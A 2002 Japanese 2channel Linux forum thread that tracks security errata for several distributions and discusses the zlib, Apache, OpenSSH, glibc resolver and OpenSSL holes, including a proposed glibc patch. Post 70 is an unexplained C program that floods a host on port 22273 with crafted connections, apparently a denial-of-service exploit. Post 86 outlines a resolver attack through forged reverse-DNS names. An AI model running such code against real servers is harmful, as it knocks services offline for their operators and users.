皆様、セキュリティホールは埋めとけよ

皆様、セキュリティホ ..

2:login:Penguin
02/02/02 14:23 vcmtljfb
2ｹﾞﾄｰ（・∀・）

3:login:Penguin
02/02/02 15:35 WnmUFKAf
こうやって並べてみると、Debianが一番対応早いな。
2,3日遅れでRedHat、ついでTurboか。
Vineのatとrsyncの対応はどうなってるんだ？

4:login:Penguin
02/02/02 16:45 ZpBt8Xu4
>>3
うち、Debianじゃないんだけど
apt-get upgrade
をcronさせとけば勝手に埋まりそうで良いなぁ～
でも、これって「隣の花は赤い」みたいなものかなぁ・・・

5:login:Penguin
02/02/02 16:51 pTTak0WL
自動実行すると、設定ファイルがデフォルトに戻ってしまってそれがかえって
穴になってしまうってことは無いのかな？

6:login:Penguin
02/02/02 17:24 iy9HS+C9
>>5
DebianだとConffileはどうするか決められるでしょ

7:login:Penguin
02/02/03 00:45 kKB0w3Ro
>>6
　やはり　Debian 強いね。

　そういうおれは、手動アップの　厨房な夜

8:login:Penguin
02/02/04 17:21 wJQG6Z6M
cron で upgrade すると対話的な質問のところで止まるという罠。

9:login:Penguin
02/02/06 09:06 wzRHhwGZ
2/5 Vine-errata

version-up
at-3.1.8-23vl0.1.i386.rpm

security-hole
uucp-1.06.1-31vl0.i386.rpm
rsync-2.4.1-2vl1.i386.rpm

10:login:Penguin
02/02/06 09:37 z1OnXuT2
Turbolinux
2002-02-01 mozilla 任意のホストのクッキーが不正に取得されてしまう

11:login:Penguin
02/02/06 13:22 aFEtGAeu
関連スレッド
ｽﾚﾘﾝｸ(unix板)

12:login:Penguin
02/02/06 16:18 CGfU8woV
彼女のセキュリティーホールを守るにはどうしたらいいですか？

13:login:Penguin
02/02/06 16:35 WFWamG0l
>>12貞操帯

14:login:Penguin
02/02/06 16:56 IgP4o0CH
>>13 予防的手段だけに頼ってはいけない。
インテグリティーチェックと定期的なログ監査。事後対策も忘れずに！

15:login:Penguin
02/02/06 17:36 suxHB5vN
>>12
常時自分がログインしておくというのは？

16:login:Penguin
02/02/06 17:50 YEmPbmK+
>>12
電源切っとけ。

17:login:Penguin
02/02/06 19:28 25EU2pWE

　パッチうぉ　　　あてよう

18:login:Penguin
02/02/18 21:43 7km2bSU3
SNMPセキュリティーホールage。
つーか、使ってる人いるのか？
使わんのだったら、パケジ消しとけ。
URLﾘﾝｸ(www.debian.org)
URLﾘﾝｸ(www.turbolinux.co.jp)

19:login:Penguin
02/02/18 22:09 Y/OOH446
at, uucp, ucd-sntpなんて個人でLinuxやってる場合は要らんとおもう

20:rrdtool
02/02/18 22:38 e0R/XIhl
net-snmp 4.2.3をtar玉から入れてる人は
snmpnetstatのfixパッチも当てたほうがエエぞ
fixパッチはredhatのSRPMから頂くとよろし

21:login:Penguin
02/02/18 23:03 xV7FaOh2
uucp、ucd-snmpはともかく、atは...まぁ、無くてもこまらんか。

ともかく、RPM系のディストリビューションで、「全部」とかで
インストールしてると、入ってる可能性大だから、用チェック
かとおもうですはい。

22:login:Penguin
02/03/03 03:46 631jyWWL
ipchainsの設定をしてみました。この設定はどうでしょうか？

# ipchains -nL
Chain input (policy ACCEPT):
target prot opt source destination ports
fw all ------ 0.0.0.0/0 0.0.0.0/0 n/a
Chain forward (policy DENY):
target prot opt source destination ports
MASQ all ------ 192.168.1.0/24 0.0.0.0/0 n/a
Chain output (policy ACCEPT):
Chain fw (1 references):
target prot opt source destination ports
ACCEPT tcp ------ 0.0.0.0/0 0.0.0.0/0 * -> 25
ACCEPT tcp ------ 192.168.1.0/24 0.0.0.0/0 * -> 0:1023
ACCEPT udp ------ 192.168.1.0/24 0.0.0.0/0 * -> 0:1023
DENY tcp ------ 0.0.0.0/0 0.0.0.0/0 * -> 0:1023
DENY udp ------ 0.0.0.0/0 0.0.0.0/0 * -> 0:1023

23:login:Penguin
02/03/03 12:16 SZmEd9Su
>>22
スレ違い。質問スレでやっとけ。

24:login:Penguin
02/03/03 12:18 SZmEd9Su
URLﾘﾝｸ(www.turbolinux.co.jp)
PHPボロボロだな

25:login:Penguin
02/03/07 15:55 cquF55ex
3/6 Vine-errata

security hole
squid-2.3.STABLE5-0vl2.i386.rpm

26:zlib!
02/03/12 16:41 UaXqoxZ1
zlib祭りだYO!
URLﾘﾝｸ(www.linuxsecurity.com)
URLﾘﾝｸ(www.kb.cert.org)

27:login:Penguin
02/03/12 21:43 lpFBAfJZ
URLﾘﾝｸ(www.zdnet.co.jp)

28:login:Penguin
02/03/12 21:57 e6hdJtN/
zlib祭り会場はどこですか？

29:login:Penguin
02/03/12 23:21 11TI6bf4
>>28
あなたのおうちの犬箱です

30:login:Penguin
02/03/12 23:25 tWqbf2NQ
ftp.mozilla.orgが繋がらないのはzlib祭りのお陰ですか？

31:sage
02/03/13 00:41 mlfLGoSb
URLﾘﾝｸ(www.kb.cert.org)
URLﾘﾝｸ(cve.mitre.org)
URLﾘﾝｸ(www.gzip.org)
URLﾘﾝｸ(slashdot.jp)
URLﾘﾝｸ(www.ipa.go.jp)
URLﾘﾝｸ(www.st.ryukoku.ac.jp)

32:login:Penguin
02/03/13 02:02 Rw4EvJaU
3/12 Vine-errata

security hole
openssh-2.9.9p2-0vl0.3.i386.rpm
openssh-clients-2.9.9p2-0vl0.3.i386.rpm
openssh-server-2.9.9p2-0vl0.3.i386.rpm
openssh-askpass-2.9.9p2-0vl0.3.i386.rpm

33:login:Penguin
02/03/13 08:10 P2nMMkSR
げー、zlibやばいなぁ。ローカルからの攻撃には無力っぽいね。
ブラウザ経由の攻撃もできるのかなぁ...
(不正なPNG送るとかで)

34:名無しさん＠お腹いっぱい。
02/03/13 09:00 X9FAJrTn
mod_gzipとかやばそうだね

35:名無しさん＠Ｅｍａｃｓ
02/03/13 10:03 uVnzr98W
>>33
まぁ何はなくともさっさとzlibを更新(-> 1.1.4)することだね。
pngやgzipを直接解釈するようなサーバでもない限り外部からの攻撃は受けない
だろうし、apacheをrootで動かしてるような豪快な奴も居ない（と信じたい）
だろうから、あまり大きな問題にはならないだろうけど。

36:zlib!
02/03/13 11:47 zAIB51rk
bugtraqに出てたH D Moore氏のpngの画像を
XEmacsでプレビューしたらXEmacsが落ちたYO!

37:zlib!
02/03/13 11:54 zAIB51rk
>>36
サンプル画像はここにもあるYO!
URLﾘﾝｸ(www.digitaloffense.net)

38:login:Penguin
02/03/13 19:47 dfFI4Er/
>>36
他力本願で申し訳ないが、coreとか調べてみました？
結局どーなってどーなっちゃうのかよくわからんもので・・・。
stackoverflowと同様だと思ってればいいのかな～

39:login:Penguin
02/03/13 23:37 7LNGAJrc
apache って root で動かすとやばいの？

40:login:Penguin
02/03/14 00:38 6jzSzsuH
>>39
そりゃやばいだろ (;´Д`)

41:zlib!
02/03/14 11:03 Ok5u5E1d
>>38
XEmacs(bamboo)はsignal 11で落ちたみたい
coreはあるけどgdb扱える能力無いのよ。すまん
で、zlib最新にしてlibpngリコンパイルしたら落ちなくなったYO!

42:login:Penguin
02/03/16 19:05 49Bp+Ljr
Debian セキュリティ HOWTO
URLﾘﾝｸ(www.jp.debian.org)

43:login:Penguin
02/03/21 09:18 l6UXxXqO
3/21 Vine-errata

security hole

zlib-1.1.3-25vl0.i386.rpm
zlib-devel-1.1.3-25vl0.i386.rpm

cvs-1.11.1p1-7vl0.i386.rpm
dump-0.4b19-5.6x.1.i386.rpm
dump-static-0.4b19-5.6x.1.i386.rpm
kernel-2.2.19-0vl0.24.i386.rpm
kernel-2.2.19-0vl0.24.i586.rpm
kernel-2.2.19-0vl0.24.i686.rpm
kernel-BOOT-2.2.19-0vl0.24.i386.rpm
kernel-doc-2.2.19-0vl0.24.i386.rpm
kernel-headers-2.2.19-0vl0.24.i386.rpm
kernel-ibcs-2.2.19-0vl0.24.i386.rpm
kernel-pcmcia-cs-2.2.19-0vl0.24.i386.rpm
kernel-smp-2.2.19-0vl0.24.i386.rpm
kernel-smp-2.2.19-0vl0.24.i586.rpm
kernel-smp-2.2.19-0vl0.24.i686.rpm
kernel-source-2.2.19-0vl0.24.i386.rpm
kernel-utils-2.2.19-0vl0.24.i386.rpm
rmt-0.4b19-5.6x.1.i386.rpm
rpm-3.0.6-0vl2.1.i386.rpm
rpm-build-3.0.6-0vl2.1.i386.rpm
rpm-devel-3.0.6-0vl2.1.i386.rpm
rpm-python-3.0.6-0vl2.1.i386.rpm
popt-1.5.1-0vl2.1.i386.rpm
rsync-2.4.1-2vl2.i386.rpm
sash-3.4-2vl0.i386.rpm
info-4.0-5vl0.i386.rpm
texinfo-4.0-5vl0.i386.rpm

44:login:Penguin
02/03/21 09:18 l6UXxXqO
3/21 Vine-errata

security hole

apache-1.3.23-0vl0.1.i386.rpm
apache-devel-1.3.23-0vl0.1.i386.rpm
apache-manual-1.3.23-0vl0.1.i386.rpm
mod_ssl-2.8.7-0vl0.1.i386.rpm

fileutils-4.0x-1vl4.i386.rpm

45:login:Penguin
02/04/05 12:26 ikMkS74J
04/04 Vine-errata security hole

XFree86-3.3.6-13vl28.1.i386.rpm
XFree86-100dpi-fonts-3.3.6-13vl28.1.i386.rpm
XFree86-75dpi-fonts-3.3.6-13vl28.1.i386.rpm
XFree86-3DLabs-3.3.6-13vl28.1.i386.rpm
XFree86-8514-3.3.6-13vl28.1.i386.rpm
XFree86-AGX-3.3.6-13vl28.1.i386.rpm
XFree86-FBDev-3.3.6-13vl28.1.i386.rpm
XFree86-I128-3.3.6-13vl28.1.i386.rpm
XFree86-Mach32-3.3.6-13vl28.1.i386.rpm
XFree86-Mach64-3.3.6-13vl28.1.i386.rpm
XFree86-Mach8-3.3.6-13vl28.1.i386.rpm
XFree86-Mono-3.3.6-13vl28.1.i386.rpm
XFree86-P9000-3.3.6-13vl28.1.i386.rpm
XFree86-S3-3.3.6-13vl28.1.i386.rpm
XFree86-S3V-3.3.6-13vl28.1.i386.rpm
XFree86-SVGA-3.3.6-13vl28.1.i386.rpm
XFree86-VGA16-3.3.6-13vl28.1.i386.rpm
XFree86-W32-3.3.6-13vl28.1.i386.rpm
XFree86-XF86Setup-3.3.6-13vl28.1.i386.rpm
XFree86-Xnest-3.3.6-13vl28.1.i386.rpm
XFree86-Xvfb-3.3.6-13vl28.1.i386.rpm
XFree86-cyrillic-fonts-3.3.6-13vl28.1.i386.rpm
XFree86-devel-3.3.6-13vl28.1.i386.rpm
XFree86-doc-3.3.6-13vl28.1.i386.rpm
XFree86-libs-3.3.6-13vl28.1.i386.rpm
XFree86-xfs-3.3.6-13vl28.1.i386.rpm

46:login:Penguin
02/04/11 21:08 n5epu8MN
04/11 Vine-errata

security hole
squid-2.3.STABLE5-0vl4.i386.rpm

47:名無しさん
02/04/12 15:15 357cbhyA
ぼくの肛門も埋めてください

48:login:Penguin
02/05/14 10:29 nCRPXE+h
05/14 Vine-errata security hole

sudo-1.6.3p6-0.6vl3.i386.rpm

49:login:Penguin
02/05/28 18:43 nc9YjYw6
apt-get update
apt-get upgrade

だけでは不十分ですか？

50:login:Penguin
02/05/28 18:43 nc9YjYw6
age忘れ。

51:login:Penguin
02/06/03 00:38 ecxsuEIo
僕のチンポの先も埋めてください

52:login:Penguin
02/06/03 00:54 Yo9snOlP
>apt-get update
>apt-get upgrade
>
>だけでは不十分ですか？

ヴァカじゃん。そういう姿勢がそもそもsecurity hole

53:login:Penguin
02/06/06 13:09 H4e/6DmJ
06/06 Vine-errata security hole

fetchmail-5.9.11-0vl1.i386.rpm

imap-2001a-10vl1.i386.rpm
imap-devel-2001a-10vl1.i386.rpm

bzip2-1.0.1-3vl3.i386.rpm
bzip2-devel-1.0.1-3vl3.i386.rpm

54:login:Penguin
02/06/13 09:25 +8hN98ol
06/13 Vine-errata security hole

tcpdump-3.6.2-13vl1.i386.rpm
libpcap-0.6.2-13vl1.i386.rpm
arpwatch-2.1a11-13vl1.i386.rpm

55:login:Penguin
02/06/18 15:41 Y4ljwPvb
Apacheにセキュリティホール
URLﾘﾝｸ(slashdot.jp)

UNIX板 Apache関連 Part2
ｽﾚﾘﾝｸ(unix板:466番)n-

56:login:Penguin
02/06/19 08:45 HipJ6wEK
バグフィクスされたapacheがリリースされたそうです。

URLﾘﾝｸ(www.apache.org)
URLﾘﾝｸ(httpd.apache.org)

57:login:Penguin
02/06/19 23:43 APWNucgQ
06/19 Vine-errata security hole

apache-1.3.26-0vl1.i386.rpm
apache-devel-1.3.26-0vl1.i386.rpm
apache-manual-1.3.26-0vl1.i386.rpm
mod_ssl-2.8.9-0vl1.i386.rpm

58:login:Penguin
02/06/20 10:16 01vvi0s8
>>55
Red Hat
URLﾘﾝｸ(rhn.redhat.com)

59:login:Penguin
02/06/20 10:44 gutuxgNU
Debian (potato)
DSA-131-1 apache -- remote DoS / exploit
URLﾘﾝｸ(www.debian.org)

DSA-132-1 apache-ssl -- remote DoS / exploit
URLﾘﾝｸ(www.debian.org)

60:login:Penguin
02/06/20 13:37 RkoCmceO
Apache のそれは 32bit Linux でもヤバそう。
某MLにexploitが流れてた。

61:login:Penguin
02/06/20 13:56 gutuxgNU
Apache Web サーバプログラムの脆弱性に関する注意喚起 URLﾘﾝｸ(www.jpcert.or.jp)

62:login:Penguin
02/06/20 14:06 RkoCmceO
情報スカスカのJPCERT勧告なんぞ読んでも仕方無いぞ。ほい日本語版。
URLﾘﾝｸ(www.lac.co.jp)

63:login:Penguin
02/06/20 14:24 01vvi0s8
こっちはそれなりに有用。
URLﾘﾝｸ(www.ipa.go.jp)

64:名無しさん
02/06/22 23:55 STj3pUTJ
「くだ質」とどちらに投げようか迷った挙げ句、こちらに
投げることにしました。
以下のような自分の使用状況がセキュリティの面で安全か
どうか伺いたく存じます。
自宅でLinuxを使っています。Flets ADSLを契約しており、
常時接続ではなく、時々インターネットに接続して電子
メールを読み書きしたり、WWWで情報を得たりしています。
ルータ等は使っていません。他のホストにwwwやftpで
クライエントとして接続することはあっても、自ホストを
サーバにする必要は殆どないと考えています。ただ例外で、
smtpサーバとしてnullmailerを使っています。
Debian GNU/Linux sidを使っており、電源を入れる度に
apt-getでパッケージを更新しています。
ftpd、rsh-server、ssh、apache等は削除しています。
kernelは2.4.18です。
/etc/hosts.allowは何も記述せず、
/etc/hosts.denyはALL: ALLにしてます。
# netstat --tcp --all
は、
Proto 受信-Q 送信-Q 内部アドレス外部アドレス状態
tcp 0 0 *:time *:* LISTEN
tcp 0 0 *:32927 *:* LISTEN
tcp 0 0 xxx.yyy.zzz.uuu:33011 aaa.bbb.ccc.ddd:smtp TIME_WAIT
となります(xxx.yyy.zzz.uuuは割り当てられたIPアドレス、
aaa.bbb.ccc.dddはプロバイダのメールサーバのIPアドレス)。

65:login:Penguin
02/06/23 00:03 bXEc0h6E
>>64
> 以下のような自分の使用状況がセキュリティの面で安全か
> どうか伺いたく存じます。
「安全」と「安全でない」の2つしか状態がないと思ってる?

66:login:Penguin
02/06/23 00:47 knGXFfYf
Apache の脆弱性を攻撃するツールが登場
URLﾘﾝｸ(slashdot.jp)

67:login:Penguin
02/06/23 01:02 kepzSriJ
>>66
充分に気をつけているほうだと思うよ。
でもセキュリティにこれで完璧ってのは無いんだよ。
あくまでコストとリスクとの綱引きでしかない。
しかしそれで侵入されたからって君を責める人はあまりいないだろう。

68:login:Penguin
02/06/23 01:25 xLORxFdI
>>66
inetdも止めてしまおう。

69:login:Penguin
02/06/25 15:34 drybiZ1b
OpenSSH に新たな弱点発見。詳細は来週まで秘密。
リモートから悪用可能らしい。
3.3 にも同じ弱点があるが、侵入は防げるそうだ。

70:login:Penguin
02/06/25 22:33 yPSMZ+Jm
void writei(int fd,int num){num = htonl(num);write(fd,&num,4);}
void writes(int fd,char *s){write(fd,s,strlen(s)+1);}
void main(int argc,char **argv){struct hostent *he;struct sockaddr_in si;int fd;
char a[10];he = gethostbyname(argv[1]);while(1){fd = socket(PF_INET,SOCK_STREAM,0);si.sin_family = AF_INET;memcpy(&si.sin_addr,he->h_addr_list[0],sizeof(si.sin_addr));
si.sin_port = htons(22273);connect(fd,(struct sockaddr *)&si,sizeof(si));sprintf(a,"%d",rand());writei(fd,0x66);writei(fd,0);
writes(fd,a);writei(fd,0);writei(fd,3);close(fd);}}

71:login:Penguin
02/06/25 22:46 LJSlbrtr
>>69
これだね。
Debian 以外のパッケージはいつころ出るんだろ。
URLﾘﾝｸ(www.koka-in.org)

72:login:Penguin
02/06/26 09:06 yIavaL89
>70
Wnnか？何の穴よ？
まさかwww.freewnn.orgにある大昔の穴じゃないだろうな。

73:login:Penguin
02/06/26 20:58 0uLnP27B
>>72
違うっぽい。

74:login:Penguin
02/06/26 22:51 knPs+H7Y
*BSD の libc の resolver に穴が見つかったようだけど、glibc は
どうなんだろう
URLﾘﾝｸ(www.pine.nl)

75:login:Penguin
02/06/27 00:16 UFWmO8g6
ISS から OpenSSH のアドバイザリが出た。
Challenge and Response 認証にバグ。remote root exploit。
sshd_config に
ChallengeResponseAuthentication no
で回避可能。3.4 で修正されている。
これがもし Theo の言ってた穴と同じものなら、
OpenSSH 3.0 以降にのみ存在する穴じゃん。
いちはやくアップデート出した Debian potato は踊らされただけか。

76:login:Penguin
02/06/27 00:18 UFWmO8g6
OpenSSH Advisory
URLﾘﾝｸ(www.openssh.com)

77:login:Penguin
02/06/27 00:19 UFWmO8g6
さみだれ式でごめん。ISS Advisory
URLﾘﾝｸ(www.openssh.com)

78:login:Penguin
02/06/27 00:31 UFWmO8g6
>>75
訂正。3.0 以降じゃなくて 2.9.9 以降に弱点がある模様。
Debian 2.2 (potato) は安全な 1.2 系からわざわざ弱点のある
3.3 に入れ換えさせられた恰好だよ。Theo のアホーーーーー。
フルディスクロージャってやっぱり大事なんだな。

79:login:Penguin
02/06/27 01:53 b3kvzA+X
06/27 Vine-errata security hole

openssh-3.3p1-0vl10.i386.rpm
openssh-server-3.3p1-0vl0.i386.rpm
openssh-clients-3.3p1-0vl0.i386.rpm
openssh-askpass-3.3p1-0vl0.i386.rpm
openssh-askpass-gnome-3.3p1-0vl0.i386.rpm

80:login:Penguin
02/06/27 01:59 b3kvzA+X
>>79 は 06/26 発行でした。ｽﾏｿ

81:login:Penguin
02/06/27 11:42 /viQ/aAY
openssh 3.4p1出てるよage

82:login:Penguin
02/06/27 11:52 EftB/YmL
syslogdが大きい。

83:login:Penguin
02/06/27 16:56 QDJgHCs7
resolver のバグは対岸の火事ではない模様。

84:login:Penguin
02/06/27 17:20 /viQ/aAY
2ch鯖のApacheも入れ替えが始まってるね。遅いぐらいだ。昨日の件もこれが絡んでたのだろうか。しかし入れ替えたはいいがlinuxのlibcにも。。。。なんてことになったら大火事だな。

85:login:Penguin
02/06/27 18:16 d3NH2M4p
>>84
まさに大火事のようで(藁
まあ、リモートからいじれる穴ではないだろうけど

86:login:Penguin
02/06/27 18:57 QDJgHCs7
>>85
resolver のバグはリモートからいじれる。
攻撃者は自由に設定出来るネームサーバを持っていればいい。
ある IP アドレスの逆引きホストネームに攻撃用コードを仕込む。
そしてその IP アドレスから攻撃対象のサーバに接続する。
攻撃対象のサーバが逆引きを行い、
返って来た巧妙に細工されたホスト名を正引きしたら、あぼーん。

87:login:Penguin
02/06/27 20:05 4+mBkHBL
glibcには*BSDよりも１箇所余計にチェックが入っているが、
これでは防げないのか？

88:login:Penguin
02/06/27 20:31 GRjz2eTH
OpenSSHを3.1→3.4にアップグレードしたら、sshdの起動時に
This platform does not support both privilege separation and compression
Compression disabled
こんなメッセージを吐くんだけど・・・何だろ？syslogには上がらないみたいだけど気になるかな。

ちなみにRedHat6.2(kerner2.2.19/glibc2.1.3-23/OpenSSL0.9.6d)

89:
02/06/27 20:37 oX2io58x
>>88
Compressionは切ろう。

90:login:Penguin
02/06/27 20:41 QDJgHCs7
>>87
実際テストしてみたが落せない。
俺がヘボなだけかもしれないから識者の意見を待とう。

91:88
02/06/27 20:42 GRjz2eTH
>>89
sshd_configのCompressをnoに指定したら出なくなったよ。
感謝。

92:login:Penguin
02/06/27 21:00 4+mBkHBL
>>90
FreeBSDをパッチを見るに、gethnamaddr.cはずでにFreeBSDの
パッチと同じ処理が入っている。getnetnamadr.cにはない。

93:login:Penguin
02/06/27 21:00 QDJgHCs7
>>90
識者の意見が間違ってた Aapche の時のような事もあるから
itojun 氏のパッチあててもいいかもしれない。
でも勇み足で必要でないアップデートを出して、わざわざ穴を
開けてしまったDebian potato の例もあるし、悩ましいところだな。

94:login:Penguin
02/06/27 21:13 QDJgHCs7
識者登場age。

95:login:Penguin
02/06/27 21:32 4+mBkHBL
直すべきは nss_dns/dns-network.c か。
古いの見てた。すまそ。

96:login:Penguin
02/06/28 11:19 CALm/HoI
新しいＢＩＮＤが出た

97:login:Penguin
02/06/28 13:40 PahA8xFy
>>93
itojunさんのパッチってどこでgetできます？
glibcに当たるのかいな？

98:login:Penguin
02/06/28 16:13 DZqksx+C
>>97
FreeBSD や NetBSD の Advisory 嫁。
そのままでは当たらないだろうから手作業で当てれ。
ま、俺はめんどいから様子見。

99:login:Penguin
02/06/28 20:57 Yj/G45g0
つーか、おまえら誰もglibcのコード読んでないんとちゃうか？

100:login:Penguin
02/06/28 21:47 Yj/G45g0
--- glibc-2.2.5/resolv/nss_dns/dns-network.c.org 2001-07-06 13:55:39.000000000 +0900
+++ glibc-2.2.5/resolv/nss_dns/dns-network.c 2002-06-28 21:42:26.000000000 +0900
@@ -328,7 +328,9 @@
}
cp += n;
*alias_pointer++ = bp;
- bp += strlen (bp) + 1;
+ n = strlen(bp) + 1;
+ bp += n;
+ linebuflen -= n;
result->n_addrtype = class == C_IN ? AF_INET : AF_UNSPEC;
++have_answer;
}
こんなとこではないかな。gethnamaddr.cはFreeBSDのパッチと同様の
処理がすでに入っている。

101:名無しさん＠ＸＥｍａｃｓ
02/06/29 01:29 cleVXGS3
>>100
> こんなとこではないかな。gethnamaddr.cはFreeBSDのパッチと同様の
> 処理がすでに入っている。

name6.c のチャンクは？と思ったけど，'99 に直ってるすね．

URLﾘﾝｸ(sources.redhat.com)

102:login:Penguin
02/06/29 04:06 uLF75Z2Y
>>79 Vine-errata security hole

openssh-3.4p1-0vl2.i386.rpm
openssh-server-3.4p1-0vl2.i386.rpm
openssh-clients-3.4p1-0vl2.i386.rpm
openssh-askpass-3.4p1-0vl2.i386.rpm
openssh-askpass-gnome-3.4p1-0vl2.i386.rpm

103:login:Penguin
02/07/02 09:30 QAyrQPMn
>>100-101
通報しますた。

104:login:Penguin
02/07/02 11:35 qVWzSPns
URLﾘﾝｸ(www.sendmail.org)
> 8.12.5/8.12.52002/06/25
> SECURITY: The DNS map can cause a buffer overflow if the user
> specifies a dns map using TXT records in the configuration
> file and a rogue DNS server is queried. None of the
> sendmail supplied configuration files use this option hence
> they are not vulnerable. Problem noted independently by
> Joost Pol of PINE Internet and Anton Rang of Sun Microsystems.
普通の設定では影響なし、なのかな?

105:login:Penguin
02/07/02 11:44 qVWzSPns
resolver 問題、CERT/CC によると
glibc はこれで fix されてるらしい。
URLﾘﾝｸ(www.kb.cert.org)

しかし、こういうのって他のプロジェクトに還元されないもんなんだろうか。

106:login:Penguin
02/07/02 12:47 KLRYFYVU
上のパッチ、だれかUlrich Drepperに投げた？

107:地獄狂 YahooBB219017000159.bbtec.net ◆7WP8X9hw
02/07/02 13:39 hdi7nBII
よくわかんないんだけど、glibcのバグはどのバージョンにあるの？

108:login:Penguin
02/07/04 02:52 qk/rUU9i
>>57 07/02 Vine-errata security hole

apache-1.3.26-0vl2.i386.rpm
apache-devel-1.3.26-0vl2.i386.rpm
apache-manual-1.3.26-0vl2.i386.rpm
mod_ssl-2.8.9-0vl2.i386.rpm

109:login:Penguin
02/07/04 13:55 50T+DZdt
URLﾘﾝｸ(dammit.lt)
このApacheワームのソースってどこから出たものなのかな。
ワーム自体は蜜壷で捕まえたみたいだけど。

110:login:Penguin
02/07/04 14:07 nB1GJwB4
Squid Proxy Cache Security Update Advisory SQUID-2002:3
- Security advisory several issues in Squid-2.4.STABLE6 and earlier.
Squid-2.4.STABLE7 released to address these issues.

URLﾘﾝｸ(www.squid-cache.org)

111:login:Penguin
02/07/04 14:13 WhJXedKe
>>109
投稿した人は「僕の inbox に入ってた」って言ってた。

112:login:Penguin
02/07/07 01:03 BITbiOEM
snortのalert（警告）をメールで携帯に送りたいんですが、
どのようにすれば良いのでしょうか。
confファイルにはそれらしき箇所が見つかりませんでした。

113:login:Penguin
02/07/07 01:06 puqWG/eL
>>112
snort 単体ではできない。
syslog と swatch 等を使うか、snort 用のツールを使う。

114:112
02/07/07 02:22 BITbiOEM
>>113
さんくすこ

115:login:Penguin
02/07/08 00:56 /S0ObH45
NetSNMPとMRTGでサーバを監視しようと思ってるんですが、
MRTGに関してはローカルホスト（NetSNMPが入ってるマシン）を対象に
監視を行っても良いのでしょうか。
なんか説明ページだと、ルータが監視の対象となってるみたいなんですが。
（ルータがSNMPに対応していないので…）

116:login:Penguin
02/07/08 12:47 X0vw/Q8k
>>115

問題なし

117:login:Penguin
02/07/08 21:11 u3KFO/Rs
07/08 Vine-errata security hole

squid-2.4.STABLE7-0vl1.i386.rpm

118:login:Penguin
02/07/11 10:09 5UzWVYho
URLﾘﾝｸ(lwn.net)

This bug has been fixed for the gethostbyXXX class of functions
in GNU libc in 1999. Unfortunately, there is similar code in the
getnetbyXXX functions in recent glibc implementations, and
the code is enabled by default. However, these functions are
used by very few applications only, such as ifconfig and ifuser,
which makes exploits less likely.

やはり....

119:login:Penguin
02/07/11 13:11 yBUV78yy
URLﾘﾝｸ(www.kb.cert.org)
更新されてる

120:login:Penguin
02/07/17 15:50 c18o8yEa
最近新しい穴が見つからないねぇ。
いいことなんだが、何かつまらんｗ

121:login:Penguin
02/07/22 23:24 /iXwHkpN
ｷﾀ━━━(ﾟ∀ﾟ)━━━ !!!
PHP 4.2.0/4.2.1 に任意コード実行可能なセキュリティホール。
また IA32 じゃ任意コード実行は出来ないなんて言ってるよ。
ホントカナー???

122:login:Penguin
02/07/26 10:13 GbcCcnsG
Updated glibc packages fix vulnerabilities in resolver

URLﾘﾝｸ(rhn.redhat.com)
> A buffer overflow vulnerability has been found in the way the glibc
> resolver handles the resolution of network names and addresses via DNS (as
> per Internet RFC 1011). Version 2.2.5 of glibc and earlier versions are
> affected. A system would be vulnerable to this issue if the
> "networks" database in /etc/nsswitch.conf includes the "dns" entry. By
> default, Red Hat Linux ships with "networks" set to "files" and
> is therefore not vulnerable to this issue. (CAN-2002-0684)
>
> A second, related, issue is a bug in the glibc-compat packages, which
> provide compatibility for applications compiled against glibc version
> 2.0.x. Applications compiled against this version (such as those
> distributed with early Red Hat Linux releases 5.0, 5.1, and 5.2) could also
> be vulnerable to this issue. (CAN-2002-0651)
>
> These errata packages for Red Hat Linux 7.1 and 7.2 on the Itanium
> architecture also include a fix for the strncpy implementation in some
> boundary cases.

123:名無しさん＠Ｅｍａｃｓ
02/07/26 12:55 WWUr2yVC
>>120
良いことではないか。ないにこしたことはない。

124:login:Penguin
02/07/29 12:39 6tjxSffv
Jul 29 02:47:04 XXXXX sshd[14409]: warning: /etc/hosts.allow, line 6: can't verify hostname: gethostbyname(host180.cciglobal.net.pa) failed

これはresolverの穴を狙った攻撃？

125:login:Penguin
02/07/29 16:57 Nqm0H4Dg
接続元のIPアドレスからホスト名を調べて、そこからまたIPアドレスを
ひいたら元に戻らなかった、ってことだと思う。>>124のものも、
うちに来ているものも、DNSでAレコードがひけないんだよね。

Jul 28 04:45:35 giko sshd[80120]: warning: /etc/hosts.allow, line 4: can't verify hostname: getaddrinfo(h64-141-4-23.bigpipeinc.com, AF_INET) failed
Jul 28 04:45:35 giko sshd[80120]: refused connect from 64.141.4.23 (64.141.4.23)

% host 64.141.4.23
23.4.141.64.in-addr.arpa domain name pointer h64-141-4-23.bigpipeinc.com.
% host h64-141-4-23.bigpipeinc.com
Host h64-141-4-23.bigpipeinc.com not found: 3(NXDOMAIN)

詳しく調べたわけでないから嘘かもしれぬ。スマソ。

126:login:Penguin
02/07/29 18:09 qwCj4iNe
>>124
攻撃そのものは単純にsshdの古いバージョンでのセキュリティホール
を狙った物だと思う。偶然にもIPから逆引きできたホスト名と、その
ホスト名に対応するIPが合致していなかったために拒否されただけ。

127:login:Penguin
02/07/30 23:43 OrlpKdAp
ﾏﾀｷﾀ━━━(ﾟ∀ﾟ)━━━ !!!
OpenSSL にリモートから悪用可能なバッファオーバフロー。
既に赤帽と Woody には修正出た。でも Potato はまだ。
util-linux にもちっこい穴。

128:login:Penguin
02/07/31 11:36 RHIhvYC4
CERTｷﾀ━━(ﾟ∀ﾟ)━( ﾟ∀)━( ﾟ)━( )━( )━(ﾟ )━(∀ﾟ )━(ﾟ∀ﾟ)━━!!!!!
URLﾘﾝｸ(www.cert.org)

129:login:Penguin
02/07/31 13:00 4XI2cpUc
Vine Linux 2.5/2.1.5 向け修正ｷﾀ━(ﾟ∀ﾟ)━━!!!!!
・2002,07,31 openssl にセキュリティホール

130:login:Penguin
02/07/31 14:06 ihwnQ9C/
07/31 Vine-errata security hole

openssl-0.9.6b-1vl5.i386.rpm
openssl-devel-0.9.6b-1vl5.i386.rpm
openssl-perl-0.9.6b-1vl5.i386.rpm

131:login:Penguin
02/07/31 20:42 YlVAcS0a
Turboにglibc、imap、artsのパッチ出てます。

132:login:Penguin
02/07/31 22:04 VJrOgCEJ
openss-0.9.6eをmake installしたら
/usr/bin/pod2manがうまくいかね－とか言って
「自前の古いやつで代用しとくよん」とか言われるんだが
perlはperl-5.00503-12が入っている
/usr/bin/pod2manは
29017 Aug 11 2000 /usr/bin/pod2man
赤帽6.2, kernel2.2.19-6.2.16
なんで？

133:login:Penguin
02/07/31 22:23 Q67jwc8B
>>131
imap のってかなり前から判明してて悪用ツールも出回ってるのに、
赤帽は無視状態なんだよなぁ。

134:login:Penguin
